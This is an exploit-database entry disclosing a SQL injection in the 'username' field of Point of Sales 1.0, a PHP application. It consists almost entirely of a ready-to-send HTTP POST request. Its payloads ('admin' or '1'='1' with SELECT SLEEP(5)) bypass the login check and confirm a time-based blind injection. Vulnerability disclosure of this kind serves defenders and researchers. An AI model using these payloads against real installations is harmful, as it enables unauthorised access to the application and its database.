Point Of Sales 1.0 SQL Injection

`# Exploit Title: Point of Sales 1.0 - 'username' SQL Injection  
# Date: 22/10/2020  
# Exploit Author: Jyotsna Adhana  
# Vendor Homepage: https://www.sourcecodester.com/php/14540/point-sales-phppdo-full-source-code-2020.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14540&title=Point+of+Sales+in+PHP%2FPDO+with+Full+Source+Code+%282020%29  
# Version: 1.0  
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4  
  
#parameter Vulnerable: username  
# Injected Request  
  
POST /pos/pos/ HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 81  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/pos/pos/  
Cookie: PHPSESSID=7lojvad06l803amt3f7hp7o8re; laravel_session=eyJpdiI6IlBXakg2NzB1cVBEWVZtemIwVzZ6NVE9PSIsInZhbHVlIjoiU2dsaTN1alRCXC9cL1I5dnNzRDlPRDlXTDZ4UUFiakhlN0JLVzB4MnpOVVZibnpISDNFS1k3YjdzWWM2UWRzVEZyIiwibWFjIjoiZGRmODE1NGFhN2JhY2U2NTNhOWU1MzViMjFjYWExM2UzNzYwN2QzZDZmNDQwNjcyMjA1MjJiYTI2NDU2Y2Q1MSJ9; XSRF-TOKEN=eyJpdiI6IlBSMFVNT3NoYkNNVTRpQzNDRHNDNXc9PSIsInZhbHVlIjoiSmF2WXRabHhCZHNZdVlmd1RGeU1pakdoT2JQaWdvcFgzK1QzeFJ6YzRiVGZ5VGdMcmp6SlMrbVl4cnZucG9OZSIsIm1hYyI6Ijc2NzA5MjYzM2E2NjgwMWZlZmFlM2JlOTI2ZmI2YTA3NmE2M2FiYjdlN2E2NzI1NmVhZjA2N2FmOTgwOTlkZGUifQ%3D%3D  
Upgrade-Insecure-Requests: 1  
  
username=admin' or '1'='1';SELECT SLEEP(5)#&password=admin' or '1'='1#&btn_login=  
  
//Comment  
The reponse will be delayed by 5s.  
`